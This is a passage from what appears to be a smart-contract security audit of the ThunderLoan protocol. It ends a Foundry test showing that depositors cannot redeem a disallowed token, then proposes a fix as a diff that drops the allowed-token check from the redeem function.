        assetTokenA.approve(address(thunderLoan), assetTokenDepositerBalance);
        vm.expectRevert(
            abi.encodeWithSelector(
                ThunderLoan.ThunderLoan__NotAllowedToken.selector,
                address(tokenA)
            )
        );
        thunderLoan.redeem(tokenA, assetTokenDepositerBalance);
        vm.stopPrank();
    }
}
```

Recommended Mitigation

The simplest option is elinate reverIfNotAllowedToken modifier on `redeem` function to keep allowing depotiors have access to their funds but avoiding new deposits.

```
 function redeem(
        IERC20 token,
        uint256 amountOfAssetToken
    )
        external
        revertIfZero(amountOfAssetToken)
-        revertIfNotAllowedToken(token)
    {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        if (amountOfAssetToken == type(uint256).max) {
            amountOfAssetToken = assetToken.balanceOf(msg.sender);
        }
        uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) / assetToken.EXCHANGE_RATE_PRECISION();
        emit Redeemed(msg.sender, token, amountOfAssetToken, amountUnderlying);
        assetToken.burn(msg.sender, amountOfAssetToken);
        assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
    }
```

Low

Informational

Gas